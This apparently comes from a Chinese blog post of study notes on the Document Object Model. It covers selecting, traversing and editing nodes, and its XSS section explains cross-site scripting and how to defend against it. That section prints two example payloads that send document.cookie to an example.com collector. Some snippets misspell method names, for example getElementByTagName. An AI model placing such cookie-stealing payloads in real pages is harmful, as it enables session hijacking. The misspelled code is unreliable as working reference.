《JS&jQuery 交互式web前端开发》(五)文档对象模型

5 文档对象模型

5.1 简介

  • 作用:规定了浏览器应如何创建HTML页面的模型,以及JavaScript如何访问、修改浏览器窗口中的web页面的内容
  • DOM不是HTML或者JavaScript的一部分,而是一系列独立的规则
    • 规定HTML页面的模型
    • 访问、修改HTML页面
      • 人们把DOM称为API,
      • 用户界面是人和程序之间交互的媒介,API是程序(以及脚本)之间的通信接口

5.2 DOM树

1)DOM树是web页面的模型
  • HTML页面主体的组成节点
    • 文档节点
      • DOM树顶端的是文档节点,呈现为整个页面,相当于document对象
      • 通过文档节点进行导航,访问元素、属性、文本节点
    • 元素节点
      • 找到所需元素,根据需要访问、修改文本和属性
    • 属性节点
      • HTML元素的开始标签中可以包含若干属性
      • 属性节点不是字节点,而是这个元素的一部分
    • 文本节点
      • 访问元素节点时可以访问元素内部的文本,文本保存在其文本节点中
      • 没有子节点,永远是DOM树的一个新分支,没有任何分支源于这个节点
  • 每个节点都是一个对象,拥有属性和方法
  • 脚本可以访问、更新DOM树,而不是HTML源代码
  • 针对DOM树的任何修改都会反映到浏览器中
2)DOM树的使用
<!-- HTML文件 -->
<ul>
	<li id="one" class="hot"><em>fresh</em>figs</li>
	<li id="two" class="hot">pine nuts</li>
	<li id="three" class="hot">honey</li>
	<li id="four">balsamic vinegar</li>
</ul>
  • 步骤:访问元素、操作元素

  • 访问元素

    • 选择单个元素
      • 使用元素的id属性:getElementById('id')(id属性在页面中应是唯一的)
        • 语法:对象.方法(如:document.getElementById('one')
      • 使用CSS选择器:querySelect('css选择器')(返回第一个匹配的元素,只支持最新浏览器)
      • 遍历DOM树
    • 选择多个元素
      • 选择所有在class属性中使用了特定值的元素:getElementsByClassName('class')
      • 选择所有使用了指定标签名称的元素:getElementsByTagName('tagname')
      • 使用CSS选择器来选择所有匹配的元素:querySelectorAll('css选择器')(只支持最新浏览器)
      • NodeList
        • 当一个DOM方法可以返回多个元素时,它会返回一个NodeList
        • NodeList是一组元素节点的集合,每个节点都有索引编号
        • NodeList实际上不是数组,是一种被称为“集合”的对象,有属性(如length)、方法(如item() )
        • 动态、静态
          • 动态NodeList
            • 脚本更新页面后,NodeList同样进行更新
            • 方法:以getElementsBy开头
          • 静态NodeList
            • 脚本更新页面后,NodeList不进行更新、不反映脚本所做的变更
            • 方法:以querySelector开头
        • 从NodeList中选择元素
          • 使用item()方法
            var elements = document.getElementsByClassName('hot');   //选择class属性值为 hot 的元素,结果 NodeList 保存在 elements 变量中
            if(elements.length >= 1){	  //先检查在NodeList中是否至少包含一个节点,减少资源浪费
            	//把 NodeList 中第一个元素保存在 firstItem 变量中 
            	var firstItem = elements.item(0);
            }
            
          • 使用数组语法(速度更快,推荐使用)
            //数组语法简单例子
            
            //选择class属性值为 hot 的元素,结果 NodeList 保存在 elements 变量中
            var elements = document.getElementsByClassName('hot');   
            if(elements.length >= 1){	  //先检查在NodeList中是否至少包含一个节点,减少资源浪费
            	//从 NodeList 中获取第一个元素,保存在 firstItem 变量中 
            	var firstItem = elements[0];
            }
            
            //在整个 NodeList 中反复执行操作
            
            // hotItems 包含一个 NodeList :包括所有class属性值为hot的列表项
            var hotItems = document.querySelectorAll('li.hot');
            for(var i=0;i<hotItems.length;i++){      //花括号中的语句,针对 NodeList 中每个语句依次执行
            	hotItems[i].className = 'cool';
            }
            
    • 遍历DOM
      • 选择当前元素的父节点:parentNode
      • 选择前一个/后一个兄弟节点:previousSibling / nextSibling
      • 返回当前元素的第一个/最后一个子节点:firstChild / lastChild
      • 说明
        • 这些都是当前节点的属性,而不是方法,因此不以小括号结尾
        • 若不存在前一个/后一个特定节点,结果为null
        • 这些属性是只读的
      • 空白节点
        • 除IE浏览器外,绝大多数浏览器会把元素之间的空白(回车、换行等)当作文本节点处理
        • 因此,遍历DOM使用的属性可能会返回不同的结果
  • 操作元素

    • 文本节点
      • 步骤:选择元素、使用firstChild属性获取文本节点、使用文本节点唯一属性nodeValue获取文本
      • nodeValue属性:允许访问、修改文本节点中的内容
        • 必须在文本节点上操作,而不是在包含文本的元素节点上操作

        • 示例:使用nodeValue属性获取、修改内容

          <li id="one"><em>fresh</em>figs</li>
          
          //访问第二个文本节点
          //返回结果:figs
          document.getElementById('one').firstChild.nextSibling.nodeValue;
          
      • 示例:访问、修改文本节点
        var itemTwo = document.getElementById('two');    //获取第二个列表项
        var elText = itemTwo.firstChild.nodeValue;       //获取该元素的文本内容
        elText = elText.replace('pine nuts','kale');     //使用String对象的replace()方法,将文本中的 pine nuts 替换为 kale
        itemTwo.firstChild.nodeValue = elText;           //更新文本节点的内容
        
    • HTML内容(操作DOM)
      • innerHTML属性:访问子元素和文本内容
        • 示例:获取文本内容
          <li id="one"><em>fresh</em> figs</li>
          
          //获取<li>元素中的文本(同时忽略其中所有标签)
          //返回:fresh figs
          document.getElementById('one').textContent;
          
        • 添加、移除HTML内容
          • 方法1: innerHTML属性
            • 更适合用来更新整个片段
            • 步骤
              • 创建变量保存标签
              • 选中需要更新内容的元素
              • 使用新的标签更新选中元素的内容
            • 示例:获取、更新列表项的内容
              //获取列表项的内容,结果应返回:<em>fresh</em> figs
              var elContent = document.getElementById('one').innerHTML;
              //设置内容,将elContent变量中的内容添加到对应的列表项
              document.getElementById('one').innerHTML = elContent;
              
              //获取、保存第一个列表项
              var firstItem = document.getElementById('one');
              //获取该列表项的内容
              var itemContent = firstItem.innerHTML;
              //更新该列表项的内容
              firstItem.innerHTML = '<a href=\"https://example.org\">'+itemContent+'</a>';  
              
          • 方法2:DOM操作
            • 易于针对DOM树中的独立节点
            • 步骤
              • 创建元素:createElement()
              • 设置内容:createTextNode()
              • 添加到DOM中:appendChild()
              • 从DOM中删除:removeChild()(使用一个参数:将要移除的元素)
            • 示例:
              • 把元素添加到DOM树中
                //创建元素,用变量保存
                var newEl = document.createElement('li');
                //创建新的文本节点,用变量保存
                var newText = document.createTextNode('quinoa');
                //将文本附加到元素中
                newEl.appendChild(newText);
                //找到应添加新元素的位置
                var position = document.getElementByTagName('ul')[0];
                //将新元素插入该位置
                position.appendChild(newEl);
                
              • 从DOM树中删除元素
                //获取要移除的元素,用变量保存
                var removeEl = document.getElementByTagName('li')[3];
                //获取包含了要移除的节点的 ul 元素,用变量保存
                var containerEl = removeEl.parentNode;
                //移除元素
                //removeChild()使用的参数:保存在第一个变量中的将要移除的元素
                containerEl.removeChild(removeEl);
                
      • innerText属性:避免使用(原因:支持情况、遵从CSS、性能较差)
        • 区别:textContentinnerText
          //使用CSS规则隐藏<em>元素
          var firstItem = document.getElementById('one');      //获取<li>元素
          var showTextContent = firstItem.textContent;		 //获取textContent的值
          var showInnerText = firstItem.innerText;			 //获取textContent的值
          
          //将信息显示到网页上
          //大多数浏览器中,textContent得到fresh figs,innerText得到figs(fresh被CSS隐藏)
          var msg='<p>textContent: '+showTextContent+'</p>'+'<p>innerText: '+showInnerText;
          var el = document.getElementById('scriptResult');        
          el.innerHTML = msg;
          
          firstItem.textContent = 'sourdough bread';      //更新第一个列表项的值
          
      • textContent属性:仅访问文本内容
      • createElement() createTextNode()属性:创建新的节点
      • appendChild()属性:添加节点
      • removeChild()属性:移除节点
    • 属性值
      • className / id:获取、更新class和id属性
      • hasAttribute():检查属性是否存在
      • getAttribute():获取属性值
      • setAttribute():更新属性值
      • removeAttribute():移除属性
3)缓存DOM查询
  • // 在DOM树中遍历查找一个id属性值是one的元素
    getElementById('one');
    
  • 选择缓存:用一个变量存储DOM树中一个对象的引用
    // 需要多次操作同一个元素时,应使用一个变量保存这个查询的结果
    //itemOne并不存储元素,存储的是DOM树中这个元素的引用
    //访问这个元素的文本内容:itemOne.textContent
    var itemOne = getElementById('one');
    
4)技术比较:更新HTML内容
  • document.write()
    • 优点:快速、简单
    • 缺点:
      • 只在页面初始化加载时有效
      • 在页面加载完后使用,会:
        • 整个页面都被覆盖
        • 不是向页面中添加内容
        • 创建一个新的页面
      • 在严格验证的XHTML中可能会遇到问题
      • 较少使用
  • element.innerHTML
    • 允许以字符串的方式,获取、更新元素中的整个内容(包括里面的标签)
    • 优点:
      • 使用更少的代码添加大量标签
      • 添加大量元素时,速度较快
      • 需要移除所有内容时更简单(直接设置空字符串)
    • 缺点
      • 不应用来添加来自用户输入的内容,可能会有严重的安全隐患
      • 添加很大的DOM片段时,难独立区分出每一个元素
      • 事件处理程序可能不像预期那样生效
  • DOM操作
    • 提供一组方法和属性,用来访问、创建、更新元素和文本节点
    • 优点:
      • DOM片段中有大量兄弟节点时,处理其中一个元素节点时更合适
      • 不会影响事件处理程序
      • 可以轻易地使用脚本来逐步添加元素
    • 缺点:(相比innerHTML)
      • 对页面进行大量修改时速度慢
      • 需要使用更多的代码来实现同样的功能
5)跨网站脚本(XSS)攻击
  • 如何发生

    • 攻击者将恶意代码插入到网站中
  • 攻击者能获取的信息(可能获取到用户的账号信息,进行违规操作)

    • DOM信息(包括表单数据)
    • 网站的cookie
    • 会话令牌
  • 恶意代码

    • 通常是混合的HTML和JavaScript
    • URL和CSS也可以触发XSS攻击
  • 示例

    <!-- 将cookie数据保存在一个变量中,这个变量可能被发送到第三方服务器 -->
    <script>var adr = 'htpp://example.com/xss.php?cookie='+escape(document.cookie);</script>
    
    <!-- 一幅缺失的图片可以通过一个HTML属性触发恶意代码 -->
    <img src="http://nofile" οnerrοr="adr'http://example.com/xss.php?'+escape(document.cookie)";>
    
  • 防范跨网站脚本攻击

  • XSS:校验和模板

    • 对输入内容进行过滤/校验(确保用户只能输入必需的字符)
      • 当用户需要提供特定类型的信息时,阻止用户在表单字段中输入非必需字符
    • 限制用户内容在页面中的显示位置
      • 不要把用户内容放在这些地方
        • script标签:<script> not here </script>
        • HTML注释:<!-- not here-->
        • 标签名:<not here href="/test" />
        • 属性:<div notHere="notHere" />
        • CSS值:{color: not here}
  • XSS:转义和控制标签

    • 转义用户的内容
      • HTML:对字符进行转义,将其处理为显示字符(如:&amp;显示为 &,&gt;显示为 >)
      • JavaScript:把所有非数字、字母的字符转义为小于256的ASCII码
      • URL:使用JavaScript的encodeURIComponent()方法,对用户的输入进行编码
    • 添加用户生成的内容
      • JavaScript:使用textContentinnerContent,不能使用innerHTML
      • jQuery:使用.text(),不能使用.html()
  • 属性节点

    • 示例
      //DOM查询找到元素节点
      //使用方法获取HTML属性,返回其属性值
      document.getElementById('one').getAttribute('class');
      
    • 方法、属性
    方法说明
    getAttribute()获取属性值
    hasAttribute()检查元素节点是否包含特定属性
    setAttribute()设置属性值
    removeAttribute()移除属性
    属性说明
    className获取、设置class属性的值
    id获取、设置id属性的值
  • 示例

    • 检查一个属性,并获取它的值
      //获取元素节点
      var firstItem = document.getElementById('one');
      
      if(firstItem.hasAttribute('class')){
      	//如果此元素节点含有属性 class,获取该属性
      	var attr = firstItem.getAttribute('class')//添加属性值到列表中
      	var el = document.getElementById('scriptResults');
      	el.innerHTML = '<p>'+'第一个列表项有一个属性名为:'+attr+'</p>';
      }
      
    • 创建属性,并更改其值
      //获取元素节点
      var firstItem = document.getElementById('one');
      //更改其class属性
      firstItem.className = 'complete';
      
      //获取第四个元素节点
      var el2 = document.getElementByTagName('li').item(3);
      //添加属性,setAttribute() 方法使用两个参数:属性名称、该属性的值
      el2.setAttribute('class','cool');
      
    • 移除属性
      //获取元素节点
      var firstItem = document.getElementById('one');
      
      if(firstItem.hasAttribute('class')){
      	//如果该元素节点有class属性,则移除该属性
      	//removeAttribute() 方法使用一个参数:属性名称
      	firstItem.removeAttribute('class');
      }
      
  • 在浏览器中中检查DOM

    • Chrome
      • 打开开发者工具
      • 显示
    • Firefox
      • 内置工具
      • 在线搜索DOM inspector
      • 扩展:Firebug
      • 3D视图

5.3 示例:文档对象模型

1)步骤及代码
  • 在列表的开头和末尾各添加一个新项
    • 添加到开头:insertBefore()方法
      • 把列表项添加到列表的开头处
      • 包含两个参数(newItem,target):需要把新元素添加到哪个元素之前
    • 添加到末尾:appendChild()方法
      • 为父元素添加一个新的子节点,该子节点会成为父元素的最后一个子节点
      • 包含一个参数(newItem):需要被添加到DOM树中的新内容
  • 给所有元素设置class属性
    • 循环遍历每一个<li>元素,将class属性值更新为cool
  • 在页面标头添加列表项的数量
    • 获取页面标头
    • 统计页面中<li>标签的数量
    • 将数量添加到标头中
    • 更新页面标头
  • 代码
    • example.html
      <!DOCTYPE html>
      <html lang="en">
      <head>
      	<meta charset="UTF-8">
      	<title>DOM example</title>
      	<link rel="stylesheet" href="example.css">
      </head>
      <body>
      	<div class="list">
      		<h2>标题</h2>
      		<ul>
      			<li class="one">第一个列表项</li>
      			<li class="two">第二个列表项</li>
      			<li class="three">第三个列表项</li>
      			<li class="four">第四个列表项</li>
      		</ul>
      	</div>
      	<script src="example.js"></script>
      </body>
      </html>
      
    • example.css
      .cool{
      	color: pink;
      }
      
    • example.js
      //将列表项保存到到list
      var list = document.getElementsByTagName('ul')[0];    //获取ul元素
      
      //向list末尾添加新的列表项
      var newItemLast = document.createElement('li');       //创建元素
      var newTextLast = document.createTextNode('cream');   //创建文本节点
      newItemLast.appendChild(newTextLast);                 //向元素中添加文本节点
      list.appendChild(newItemLast);                        //向list末尾添加元素
      
      //向list开头添加新的列表项
      var newItemFirst = document.createElement('li');      //创建元素
      var newTextFirst = document.createTextNode('kale');   //创建文本节点
      newItemFirst.appendChild(newTextFirst);               //向元素中添加文本节点
      list.insertBefore(newItemFirst,list.firstChild);      //向list开头添加元素
      
      var listItems = document.querySelectorAll('li');      //获取所有li元素
      
      //为所有列表项添加class属性cool
      for(var i=0;i<listItems.length;i++){                  //遍历所有列表项
      	//更新所有列表项的class属性名
      	listItems[i].className = 'cool';
      }
      
      //在标头添加列表项个数
      var heading = document.querySelector('h2');           //获取h2元素
      var headingText = heading.firstChild.nodeValue;       //获取h2的文本内容
      var totalItems = listItems.length;                    //获取li元素的个数
      var newHeading = headingText+' 列表项个数:'+totalItems;     //设置内容
      heading.textContent = newHeading;                     //更新h2的内容
      
2)运行结果
  • 原始页面
  • 在列表开头和结尾添加元素
  • 更新所有列表项的class属性名
  • 统计li元素个数,显示在标题后面
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值